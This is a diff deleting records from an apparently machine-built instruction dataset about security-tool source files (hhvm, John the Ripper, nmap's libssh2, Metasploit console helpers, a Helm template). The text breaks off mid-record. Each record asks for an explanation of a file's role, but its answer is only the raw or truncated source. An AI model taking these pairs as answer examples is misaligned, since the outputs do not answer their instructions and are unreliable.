diff --git "a/data.jsonl" "b/data.jsonl" --- "a/data.jsonl" +++ "b/data.jsonl" @@ -1,1138 +1,3 @@ -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/resolve-magic-interface.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ";\n\nfunction get(): Foo {\n return __hhvm_intrinsics\\launder_value(vec[]);\n}\nfunction test() :mixed{\n var_dump(get());\n}\n<<__EntryPoint>>\nfunction main_entry(): void {\n test();\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:18277"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/simple_xml/1635.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\nfunction main_1635() :mixed{\n$node = new SimpleXMLElement('whoops');\nvar_dump($node->bar);\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:24458"}} -{"instruction": "Explain the purpose and role of 'john-bleeding-jumbo/src/ztex/task.c' from the john-bleeding-jumbo security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n * This software is Copyright (c) 2016-2017 Denis Burykin\n * [denis_burykin yahoo com], [denis-burykin2014 yandex ru]\n * and it is hereby released to the general public under the following terms:\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted.\n *\n */\n#include \n#include \n#include \n\n#include \"../memory.h\"\n\n#include \"task.h\"\n#include \"jtr_device.h\"\n#include \"jtr_mask.h\"\n\n#include \"pkt_comm/pkt_comm.h\"\n#include \"pkt_comm/word_list.h\"\n#include \"pkt_comm/word_gen.h\"\n#include \"pkt_comm/cmp_config.h\"\n\n\n\nstatic void task_result_list_init(struct task_result_list *list)\n{\n\tlist->count = 0;\n\tlist->result_list = NULL;\n\tlist->index = NULL;\n}\n\n\nstatic void task_result_list_add(struct task_result_list *list,\n\t\tstruct task_result *task_result)\n{\n\ttask_result->next = list->result_list;\n\tlist->result_list = task_result;\n\tlist->count++;\n\t//MEM_FREE(list->index);\n}\n\n\nstatic void task_result_list_create_index(struct task_result_list *list)\n{\n\tMEM_FREE(list->index);\n\tif (!list->count)\n\t\treturn;\n\n\tlist->index = mem_alloc(list->count * sizeof(struct task_result *));\n\n\tstruct task_result *result;\n\tint i = 0;\n\tfor (result = list->result_list; result; result = result->next)\n\t\tlist->index[i++] = result;\n}\n\n\nstruct task_result *task_result_new(struct task *task,\n\t\tchar *key, unsigned char *range_info,\n\t\tunsigned int gen_id, struct db_password *pw)\n{\n\tstruct task_result *result = mem_alloc(sizeof(struct task_result));\n\n\tint plaintext_len = jtr_fmt_params->plaintext_length;\n\tresult->key = mem_alloc(plaintext_len + 1);\n\tresult->key[plaintext_len] = 0;\n\tmemcpy(result->key, key, plaintext_len);\n\n\tif (range_info)\n\t\tmask_reconstruct_plaintext(result->key, range_info, gen_id);\n\n\tresult->pw = pw;\n\tresult->binary = NULL;\n\n\ttask_result_list_add(&task->result_list, result);\n\treturn result;\n}\n\n\nstatic int task_result_count(struct task *task)\n{\n\treturn task->result_list.count;\n}\n\n\nstatic void task_result_list_clear(struct task_result_list *list)\n{\n\tif (!list) {\n\t\tfprintf(stderr,\"task_result_list_clear: NULL\\n\");\n\t\treturn;\n\t}\n\tif (!list->result_list) {\n\t\tif (list->count)\n\t\t\tfprintf(stderr,\"task_result_list_clear: result_list=NULL,\"\n\t\t\t\t\" count=%d\\n\", list->count);\n\t\treturn;\n\t}\n\n\tstruct task_result *result = list->result_list;\n\twhile (1) {\n\t\tstruct task_result *next = result->next;\n\t\tMEM_FREE(result->key);\n\t\tMEM_FREE(result->binary);\n\t\tMEM_FREE(result);\n\t\tif (!next)\n\t\t\tbreak;\n\t\tresult = next;\n\t}\n\tlist->count = 0;\n\tMEM_FREE(list->index);\n\tlist->result_list = NULL;\n}\n\n\nstruct task *task_new(struct task_list *task_list,\n\t\tint num_keys, char *keys,\n\t\tunsigned char *range_info)\n{\n\tstruct task *task = mem_alloc(sizeof(struct task));\n\n\ttask->next = task_list->task;\n\ttask_list->task = task;\n\n\ttask->status = TASK_NONE;\n\ttask->num_keys = num_keys;\n\ttask->keys = keys;\n\ttask->range_info = range_info;\n\ttask_result_list_init(&task->result_list);\n\ttask->jtr_device = NULL;\n\ttask->id = 0;\n\n\tstatic struct timeval zero_time = { 0, 0 };\n\ttask->mtime = zero_time;\n\n\ttask->num_processed = 0;\n\treturn task;\n}\n\n\nvoid task_assign(struct task *task, struct jtr_device *jtr_device)\n{\n\ttask->jtr_device = jtr_device;\n\ttask->id = jtr_device->task_id_next++; // TODO: move 3 lines to jtr_device.c\n\tif (jtr_device->task_id_next == 65536)\n\t\tjtr_device->task_id_next = 1;\n\ttask->status = TASK_ASSIGNED;\n\ttask_update_mtime(task);\n\ttask_create_output_pkt_comm(task);\n}\n\n\nvoid task_delete(struct task *task)\n{\n\ttask_result_list_clear(&task->result_list);\n\tMEM_FREE(task);\n}\n\n\nstruct task_list *task_list_create(int num_keys,\n\t\tchar *keys, unsigned char *range_info)\n{\n\t// distribute keys equally among devices\n\tint num_devices = jtr_device_list_count();\n\tif (!num_devices)\n\t\treturn NULL;\n\n\tstruct task_list *task_list = mem_alloc(sizeof(struct task_list));\n\ttask_list->task = NULL;\n\n\tif (!num_keys) {\n\t\tfprintf(stderr, \"task_list_create: num_keys=0\\n\");\n\t\terror();\n\t}\n\n\tint keys_per_device = num_keys / num_devices;\n\tint num_extra_keys = num_keys % num_devices;\n\n\tint keys_buffer_offset = 0;\n\tint range_info_offset = 0;\n\tstruct jtr_device *dev;\n\tfor (dev = jtr_device_list->device; dev; dev = dev->next) {\n\n\t\tint device_num_keys = keys_per_device;\n\t\tif (num_extra_keys) {\n\t\t\tdevice_num_keys++;\n\t\t\tnum_extra_keys--;\n\t\t}\n\n\t\t// No more keys for this device and remaining ones\n\t\tif (!device_num_keys)\n\t\t\tbreak;\n\n\t\t// Number of keys in word_list/template_list is 16 bit value.\n\t\t// There's also a limit on packet's data length.\n\t\t// Create several tasks if necessary.\n\t\twhile (device_num_keys) {\n\t\t\t// TODO: maybe create tasks of equal size\n\t\t\tint task_num_keys = device_num_keys;\n\t\t\tif (task_num_keys * jtr_fmt_params->plaintext_length\n\t\t\t\t\t> PKT_MAX_DATA_LEN)\n\t\t\t\ttask_num_keys = PKT_MAX_DATA_LEN\n\t\t\t\t\t/ jtr_fmt_params->plaintext_length;\n\t\t\tif (task_num_keys > 65535)\n\t\t\t\ttask_num_keys = 65535;\n\t\t\tdevice_num_keys -= task_num_keys;\n\n\t\t\tstruct task *task = task_new(task_list, task_num_keys,\n\t\t\t\t\tkeys + keys_buffer_offset,\n\t\t\t\t\trange_info ? range_info + range_info_offset : NULL);\n\t\t\ttask_assign(task, dev);\n\n\t\t\tkeys_buffer_offset += task_num_keys * jtr_fmt_params->plaintext_length;\n\t\t\tif (range_info)\n\t\t\t\trange_info_offset += task_num_keys * MASK_FMT_INT_PLHDR;\n\t\t}\n\t}\n\n\treturn task_list;\n}\n\n\nvoid tasks_assign(struct task_list *task_list,\n\t\tstruct jtr_device_list *jtr_device_list)\n{\n\tint num_tasks = task_list_count_by_status(task_list, TASK_UNASSIGNED);\n\tif (!num_tasks)\n\t\treturn;\n\n\tint jtr_device_count = jtr_device_list_count();\n\tif (!jtr_device_count)\n\t\treturn;\n\n\tint min_tasks_per_device = num_tasks / jtr_device_count;\n\tint extra_tasks = num_tasks % jtr_device_count;\n\n\tstruct jtr_device *dev;\n\tfor (dev = jtr_device_list->device; dev; dev = dev->next) {\n\t\tint i;\n\t\tfor (i = 0; i < min_tasks_per_device; i++) {\n\t\t\tstruct task *task = task_find_by_status(task_list, TASK_UNASSIGNED);\n\t\t\tif (!task) {\n\t\t\t\tfprintf(stderr, \"Error: task not found 1!\\n\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\ttask_assign(task, dev);\n\t\t}\n\t\tif (extra_tasks) {\n\t\t\tstruct task *task = task_find_by_status(task_list, TASK_UNASSIGNED);\n\t\t\tif (!task) {\n\t\t\t\tfprintf(stderr, \"Error: task not found 2!\\n\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\ttask_assign(task, dev);\n\t\t\textra_tasks--;\n\t\t}\n\t}\n\n}\n\n\nvoid task_deassign(struct task *task)\n{\n\ttask_result_list_clear(&task->result_list);\n\ttask->num_processed = 0;\n\ttask->status = TASK_UNASSIGNED;\n\ttask_update_mtime(task);\n\ttask->jtr_device = NULL;\n}\n\n\nint tasks_deassign(struct task_list *task_list, struct jtr_device *jtr_device)\n{\n\tint count = 0;\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tif (task->status == TASK_ASSIGNED && task->jtr_device == jtr_device) {\n\t\t\ttask_deassign(task);\n\t\t\tcount++;\n\t\t}\n\t}\n\treturn count;\n}\n\n\nstruct task *task_find(struct task_list *task_list,\n\t\tstruct jtr_device *jtr_device, int id)\n{\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tif (task->id == id && task->jtr_device == jtr_device)\n\t\t\treturn task;\n\t}\n\treturn NULL;\n}\n\n\nstruct task *task_find_by_status(struct task_list *task_list,\n\t\tenum task_status status)\n{\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tif (task->status == status)\n\t\t\treturn task;\n\t}\n\treturn NULL;\n}\n\n\nstruct task *task_find_by_mtime(struct task_list *task_list, int tv_sec)\n{\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tif (task->status == TASK_ASSIGNED && task->mtime.tv_sec < tv_sec)\n\t\t\treturn task;\n\t}\n\treturn NULL;\n}\n\n\nvoid task_create_output_pkt_comm(struct task *task)\n{\n\tstruct jtr_device *dev = task->jtr_device;\n\tif (!dev || task->status != TASK_ASSIGNED) {\n\t\tfprintf(stderr, \"task_list_create_output_pkt_comm: unassigned task\\n\");\n\t\terror();\n\t}\n\tif (!task->num_keys || !task->keys) {\n\t\tfprintf(stderr, \"task_list_create_output_pkt_comm: task contains nothing\\n\");\n\t\terror();\n\t}\n//fprintf(stderr,\"task_create_output_pkt_comm\\n\");\n\n\t// TODO: check if input queues are not full\n\n\t// If on-device comparator is unconfigured or its configuration changes\n\t//\n\t// Issue. While sequential_id doesn't change, the content can change\n\t// (hash removed). For now, re-create and resend cmp_config every time.\n\t//\n\t//if (dev->cmp_config_id == -1 || dev->cmp_config_id != cmp_config.id) {\n\tif (1) {\n\t\tstruct pkt *pkt_cmp_config = pkt_cmp_config_new(&cmp_config);\n\t\tif (!pkt_cmp_config) {\n\t\t\t// some wrong input / internal error\n\t\t\tfprintf(stderr, \"task_list_create_output_pkt_comm: pkt_cmp_config_new\\n\");\n\t\t\texit(-1);\n\t\t}\n\t\tpkt_queue_push(dev->comm->output_queue, pkt_cmp_config);\n\t\tdev->cmp_config_id = cmp_config.id;\n\t\t//fprintf(stderr, \"dev: %s cmp_config_id: %d num_hashes:%d\\n\",\n\t\t//\t\tdev->device->ztex_device->snString, dev->cmp_config_id,\n\t\t//\t\tcmp_config.num_hashes );\n\t}\n\n\t// Create and enqueue word generator configuration\n\t//\n\tstruct pkt *pkt_word_gen = pkt_word_gen_new(mask_convert_to_word_gen());\n\tpkt_word_gen->id = task->id;\n\tpkt_queue_push(dev->comm->output_queue, pkt_word_gen);\n\n\n\t// Create and enqueue template_list or word_list\n\t//\n\tstruct pkt *pkt_list;\n\tif (task->range_info)\n\t\tpkt_list = pkt_template_list_new(task->keys, task->num_keys,\n\t\t\t\tjtr_fmt_params->plaintext_length,\n\t\t\t\ttask->range_info, MASK_FMT_INT_PLHDR);\n\telse\n\t\tpkt_list = pkt_word_list_new(task->keys, task->num_keys,\n\t\t\t\tjtr_fmt_params->plaintext_length);\n\n\tpkt_queue_push(dev->comm->output_queue, pkt_list);\n}\n\n\nint task_list_count_by_status(struct task_list *task_list,\n\t\tenum task_status status)\n{\n\tint count = 0;\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next)\n\t\tif (task->status == status)\n\t\t\tcount++;\n\treturn count;\n}\n\n\nint task_list_all_completed(struct task_list *task_list)\n{\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tif (task->status != TASK_COMPLETE)\n\t\t\treturn 0;\n\t}\n\treturn 1;\n}\n\n\nint task_list_result_count(struct task_list *task_list)\n{\n\tint count = 0;\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tcount += task_result_count(task);\n\t}\n\treturn count;\n}\n\n\nvoid task_result_execute(struct task_list *task_list,\n\t\tvoid (*func)(struct task_result *result))\n{\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tstruct task_result *result;\n\t\tfor (result = task->result_list.result_list; result;\n\t\t\t\tresult = result->next)\n\t\t\tfunc(result);\n\t}\n}\n\n\nvoid task_list_create_index(struct task_list *task_list)\n{\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next)\n\t\ttask_result_list_create_index(&task->result_list);\n}\n\n\nstruct task_result *task_result_by_index(struct task_list *task_list, int index)\n{\n\tint count = 0;\n\tstruct task *task;\n\tfor (task = task_list->task; task; task = task->next) {\n\t\tint cur_task_count = task_result_count(task);\n\t\tif (!cur_task_count)\n\t\t\tcontinue;\n\t\tif (count + cur_task_count <= index) {\n\t\t\tcount += cur_task_count;\n\t\t\tcontinue;\n\t\t}\n/*\n\t\tstruct task_result *result;\n\t\tfor (result = task->result_list.result_list; result;\n\t\t\t\tresult = result->next) {\n\t\t\tif (count == index)\n\t\t\t\treturn result;\n\t\t\tcount++;\n\t\t}\n*/\n\n\t\tif (!task->result_list.index) {\n\t\t\tfprintf(stderr,\"task_result_by_index: index not created\\n\");\n\t\t\treturn NULL;\n\t\t}\n\t\t//fprintf(stderr,\"task_result_by_index: i:%d c:%d\\n\",index, count);\n\t\treturn task->result_list.index[index - count];\n\t}\n\treturn NULL;\n}\n\n\nvoid task_list_delete(struct task_list *task_list)\n{\n\tif (!task_list)\n\t\treturn;\n\tstruct task *task = task_list->task;\n\tif (!task)\n\t\treturn;\n\n\twhile (1) {\n\t\tstruct task *next = task->next;\n\t\ttask_delete(task);\n\t\tif (!next)\n\t\t\tbreak;\n\t\ttask = next;\n\t}\n\tMEM_FREE(task_list);\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:34175"}} -{"instruction": "Explain the purpose and role of 'nmap/libssh2/src/libssh2_config.h.in' from the nmap security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/* src/libssh2_config.h.in. Generated from configure.ac by autoheader. */\n\n/* Define if building universal (internal helper macro) */\n#undef AC_APPLE_UNIVERSAL_BUILD\n\n/* Define to 1 if using 'alloca.c'. */\n#undef C_ALLOCA\n\n/* Define to 1 if you have 'alloca', as a function or macro. */\n#undef HAVE_ALLOCA\n\n/* Define to 1 if works. */\n#undef HAVE_ALLOCA_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_ARPA_INET_H\n\n/* Define to 1 if you have the declaration of `SecureZeroMemory', and to 0 if\n you don't. */\n#undef HAVE_DECL_SECUREZEROMEMORY\n\n/* disabled non-blocking sockets */\n#undef HAVE_DISABLED_NONBLOCKING\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_DLFCN_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_ERRNO_H\n\n/* Define to 1 if you have the `EVP_aes_128_ctr' function. */\n#undef HAVE_EVP_AES_128_CTR\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_FCNTL_H\n\n/* use FIONBIO for non-blocking sockets */\n#undef HAVE_FIONBIO\n\n/* Define to 1 if you have the `gettimeofday' function. */\n#undef HAVE_GETTIMEOFDAY\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_INTTYPES_H\n\n/* use ioctlsocket() for non-blocking sockets */\n#undef HAVE_IOCTLSOCKET\n\n/* use Ioctlsocket() for non-blocking sockets */\n#undef HAVE_IOCTLSOCKET_CASE\n\n/* Define if you have the bcrypt library. */\n#undef HAVE_LIBBCRYPT\n\n/* Define if you have the crypt32 library. */\n#undef HAVE_LIBCRYPT32\n\n/* Define if you have the gcrypt library. */\n#undef HAVE_LIBGCRYPT\n\n/* Define if you have the mbedcrypto library. */\n#undef HAVE_LIBMBEDCRYPTO\n\n/* Define if you have the ssl library. */\n#undef HAVE_LIBSSL\n\n/* Define if you have the z library. */\n#undef HAVE_LIBZ\n\n/* Define to 1 if the compiler supports the 'long long' data type. */\n#undef HAVE_LONGLONG\n\n/* Define to 1 if you have the `memset_s' function. */\n#undef HAVE_MEMSET_S\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_NETINET_IN_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_NTDEF_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_NTSTATUS_H\n\n/* use O_NONBLOCK for non-blocking sockets */\n#undef HAVE_O_NONBLOCK\n\n/* Define to 1 if you have the `poll' function. */\n#undef HAVE_POLL\n\n/* Define to 1 if you have the select function. */\n#undef HAVE_SELECT\n\n/* use SO_NONBLOCK for non-blocking sockets */\n#undef HAVE_SO_NONBLOCK\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_STDINT_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_STDIO_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_STDLIB_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_STRINGS_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_STRING_H\n\n/* Define to 1 if you have the `strtoll' function. */\n#undef HAVE_STRTOLL\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_IOCTL_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_SELECT_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_SOCKET_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_STAT_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_TIME_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_TYPES_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_UIO_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_SYS_UN_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_UNISTD_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_WINDOWS_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_WINSOCK2_H\n\n/* Define to 1 if you have the header file. */\n#undef HAVE_WS2TCPIP_H\n\n/* to make a symbol visible */\n#undef LIBSSH2_API\n\n/* Enable clearing of memory before being freed */\n#undef LIBSSH2_CLEAR_MEMORY\n\n/* Enable \"none\" cipher -- NOT RECOMMENDED */\n#undef LIBSSH2_CRYPT_NONE\n\n/* Enable newer diffie-hellman-group-exchange-sha1 syntax */\n#undef LIBSSH2_DH_GEX_NEW\n\n/* Compile in zlib support */\n#undef LIBSSH2_HAVE_ZLIB\n\n/* Use libgcrypt */\n#undef LIBSSH2_LIBGCRYPT\n\n/* Enable \"none\" MAC -- NOT RECOMMENDED */\n#undef LIBSSH2_MAC_NONE\n\n/* Use mbedtls */\n#undef LIBSSH2_MBEDTLS\n\n/* Use openssl */\n#undef LIBSSH2_OPENSSL\n\n/* Use wincng */\n#undef LIBSSH2_WINCNG\n\n/* Define to the sub-directory where libtool stores uninstalled libraries. */\n#undef LT_OBJDIR\n\n/* Define to 1 if _REENTRANT preprocessor symbol must be defined. */\n#undef NEED_REENTRANT\n\n/* Name of package */\n#undef PACKAGE\n\n/* Define to the address where bug reports for this package should be sent. */\n#undef PACKAGE_BUGREPORT\n\n/* Define to the full name of this package. */\n#undef PACKAGE_NAME\n\n/* Define to the full name and version of this package. */\n#undef PACKAGE_STRING\n\n/* Define to the one symbol short name of this package. */\n#undef PACKAGE_TARNAME\n\n/* Define to the home page for this package. */\n#undef PACKAGE_URL\n\n/* Define to the version of this package. */\n#undef PACKAGE_VERSION\n\n/* If using the C implementation of alloca, define if you know the\n direction of stack growth for your system; otherwise it will be\n automatically deduced at runtime.\n\tSTACK_DIRECTION > 0 => grows toward higher addresses\n\tSTACK_DIRECTION < 0 => grows toward lower addresses\n\tSTACK_DIRECTION = 0 => direction of growth unknown */\n#undef STACK_DIRECTION\n\n/* Define to 1 if all of the C90 standard headers exist (not just the ones\n required in a freestanding environment). This macro is provided for\n backward compatibility; new code need not use it. */\n#undef STDC_HEADERS\n\n/* Version number of package */\n#undef VERSION\n\n/* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most\n significant byte first (like Motorola and SPARC, unlike Intel). */\n#if defined AC_APPLE_UNIVERSAL_BUILD\n# if defined __BIG_ENDIAN__\n# define WORDS_BIGENDIAN 1\n# endif\n#else\n# ifndef WORDS_BIGENDIAN\n# undef WORDS_BIGENDIAN\n# endif\n#endif\n\n/* Number of bits in a file offset, on hosts where this is settable. */\n#undef _FILE_OFFSET_BITS\n\n/* Define for large files, on AIX-style hosts. */\n#undef _LARGE_FILES\n\n/* Define to empty if `const' does not conform to ANSI C. */\n#undef const\n\n/* Define to `__inline__' or `__inline' if that's what the C compiler\n calls it, or to nothing if 'inline' is not supported under any name. */\n#ifndef __cplusplus\n#undef inline\n#endif\n\n/* Define to `unsigned int' if does not define. */\n#undef size_t", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:47825"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/lib/msf/ui/console/command_dispatcher/common.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# -*- coding: binary -*-\n\nrequire 'rexml/document'\n\nmodule Msf\nmodule Ui\nmodule Console\nmodule CommandDispatcher\n\n # These are functions that are used in two or more command dispatchers.\n\nmodule Common\n\n # Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+\n #\n # @note This modifies +host_ranges+ in place\n #\n # @param arg [String] The thing to turn into a RangeWalker\n # @param host_ranges [Array] The array of ranges to append\n # @param required [Boolean] Whether an empty +arg+ should be an error\n # @return [Boolean] true if parsing was successful or false otherwise\n def arg_host_range(arg, host_ranges, required=false)\n if (!arg and required)\n print_error(\"Missing required host argument\")\n return false\n end\n begin\n rw = Rex::Socket::RangeWalker.new(arg)\n rescue\n print_error(\"Invalid host parameter, #{arg}.\")\n return false\n end\n\n if rw.valid?\n host_ranges << rw\n else\n print_error(\"Invalid host parameter, #{arg}.\")\n return false\n end\n return true\n end\n\n #\n # Parse +arg+ into an array of ports and append the result into +port_ranges+\n #\n # Returns true if parsing was successful or nil otherwise.\n #\n # NOTE: This modifies +port_ranges+\n #\n def arg_port_range(arg, port_ranges, required=false)\n if (!arg and required)\n print_error(\"Argument required for -p\")\n return\n end\n begin\n port_ranges << Rex::Socket.portspec_to_portlist(arg)\n rescue\n print_error(\"Invalid port parameter, #{arg}.\")\n return\n end\n return true\n end\n\n #\n # Set RHOSTS in the +active_module+'s (or global if none) datastore from an array of addresses\n #\n # This stores all the addresses to a temporary file and utilizes the\n #
file:/tmp/filename
syntax to confer the addrs. +rhosts+\n # should be an Array. NOTE: the temporary file is *not* deleted\n # automatically.\n #\n def set_rhosts_from_addrs(rhosts)\n if rhosts.empty?\n print_status(\"The list is empty, cowardly refusing to set RHOSTS\")\n return\n end\n if active_module\n mydatastore = active_module.datastore\n else\n # if there is no module in use set the list to the global variable\n mydatastore = self.framework.datastore\n end\n\n if rhosts.length > 5\n # Lots of hosts makes 'show options' wrap which is difficult to\n # read, store to a temp file\n rhosts_file = Rex::Quickfile.new(\"msf-db-rhosts-\")\n mydatastore['RHOSTS'] = 'file:'+rhosts_file.path\n # create the output file and assign it to the RHOSTS variable\n rhosts_file.write(rhosts.join(\"\\n\")+\"\\n\")\n rhosts_file.close\n else\n # For short lists, just set it directly\n mydatastore['RHOSTS'] = rhosts.join(\" \")\n end\n\n print_line \"RHOSTS => #{mydatastore['RHOSTS']}\"\n print_line\n end\n\n def show_options(mod) # :nodoc:\n mod_opt = Serializer::ReadableText.dump_options(mod, ' ')\n print(\"\\nModule options (#{mod.fullname}):\\n\\n#{mod_opt}\\n\") if (mod_opt and mod_opt.length > 0)\n\n # If it's an exploit and a payload is defined, create it and\n # display the payload's options\n if ((mod.exploit? or mod.evasion? ) and mod.datastore['PAYLOAD'])\n p = framework.payloads.create(mod.datastore['PAYLOAD'])\n\n if (!p)\n print_error(\"Invalid payload defined: #{mod.datastore['PAYLOAD']}\\n\")\n return\n end\n\n p.share_datastore(mod.datastore)\n\n if (p)\n p_opt = Serializer::ReadableText.dump_options(p, ' ')\n print(\"\\nPayload options (#{mod.datastore['PAYLOAD']}):\\n\\n#{p_opt}\\n\") if (p_opt and p_opt.length > 0)\n print(\" **DisablePayloadHandler: True (no handler will be created!)**\\n\\n\") if mod.datastore['DisablePayloadHandler'].to_s == 'true'\n end\n end\n\n # Print the selected target\n if (mod.exploit? and mod.target)\n mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ')\n print(\"\\nExploit target:\\n\\n#{mod_targ}\\n\") if (mod_targ and mod_targ.length > 0)\n elsif mod.evasion? and mod.target\n mod_targ = Serializer::ReadableText.dump_evasion_target(mod, ' ')\n print(\"\\nEvasion target:\\n\\n#{mod_targ}\\n\") if (mod_targ and mod_targ.length > 0)\n end\n\n # Print the selected action\n if mod.kind_of?(Msf::Module::HasActions) && mod.action\n mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')\n print(\"\\n#{mod.type.capitalize} action:\\n\\n#{mod_action}\\n\") if (mod_action and mod_action.length > 0)\n end\n\n print(\"\\nView the full module info with the #{Msf::Ui::Tip.highlight('info')}, or #{Msf::Ui::Tip.highlight('info -d')} command.\\n\\n\")\n\n # Uncomment this line if u want target like msf2 format\n #print(\"\\nTarget: #{mod.target.name}\\n\\n\")\n end\n\n # This is for the \"use\" and \"set\" commands\n def index_from_list(list, index, &block)\n return unless list.kind_of?(Array) && index\n\n begin\n idx = Integer(index)\n rescue ArgumentError\n return\n end\n\n # Don't support negative indices\n return if idx < 0\n\n yield list[idx]\n end\n\n # Trims starting `.`, `./` `/`, `+path_head+/`, & `/+path_head+/` from +path+. Also trims trailing `.+extension+`\n # from +path+, and any possible combination of misspellings of +extension+.\n #\n # @param path [String] The path to be trimmed\n # @param path_head [String] The top-level directory that should be removed from the path\n # @param extensions [Array] File extensions to be trimmed from +path+. `.` is automatically included. Defaults to ['rb', 'py', 'go'].\n # @return [String] Altered +path+. Will return unaltered +path+ if regex constructed with +path_head+ & +path+ is not detected\n def trim_path(path, path_head, extensions: ['rb', 'py', 'go'])\n #Builds capture groups for all supported file extensions\n regex_extension = ''\n extensions.each do |ext|\n regex_extension << \"([#{ext}])+|\"\n end\n regex_extension.delete_suffix!('|')\n\n regexp = %r{\n (\n ^\\.? # Dot at beginning of path\n /? # Slash at beginning of path\n (#{path_head}/)? # top level directory (slash prepending directory name is optional)\n )\n\n | # OR\n\n (\n \\.(#{regex_extension})$ # any possible file extension at end of path\n )\n\n | # OR\n\n (\n \\.$ # trailing dot\n )\n }ix\n\n path.gsub(regexp, '')\n end\n\nend\n\nend\nend\nend\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:40864"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/runtime/vm/jit/vasm-prof.h' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n +----------------------------------------------------------------------+\n | HipHop for PHP |\n +----------------------------------------------------------------------+\n | Copyright (c) 2010-present Facebook, Inc. (http://www.facebook.com) |\n +----------------------------------------------------------------------+\n | This source file is subject to version 3.01 of the PHP license, |\n | that is bundled with this package in the file LICENSE, and is |\n | available through the world-wide-web at the following url: |\n | http://www.php.net/license/3_01.txt |\n | If you did not receive a copy of the PHP license and are unable to |\n | obtain it through the world-wide-web, please send a note to |\n | license@php.net so we can mail you a copy immediately. |\n +----------------------------------------------------------------------+\n*/\n\n#pragma once\n\nnamespace HPHP::jit {\n\nstruct Vunit;\n\n///////////////////////////////////////////////////////////////////////////////\n\n/*\n * Insert code to profile all branches in `unit'.\n */\nvoid profile_branches(Vunit& unit);\n\n///////////////////////////////////////////////////////////////////////////////\n\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:17041"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/hover/expression_tree_call.php.imp_pess_exp' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "async function bar(ExampleContext $_): Awaitable<\n ~ExprTree<\n ExampleDsl,\n mixed,\n (function(ExampleString): ~ExampleInt)\n >\n>", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:7860"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/test/kubernetes/secrets/templates/_helpers.tpl' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "{{/*\nExpand the name of the chart.\n*/}}\n{{- define \"secrets.name\" -}}\n{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCreate a default fully qualified app name.\nWe truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).\nIf release name contains chart name it will be used as a full name.\n*/}}\n{{- define \"secrets.fullname\" -}}\n{{- if .Values.fullnameOverride }}\n{{- .Values.fullnameOverride | trunc 63 | trimSuffix \"-\" 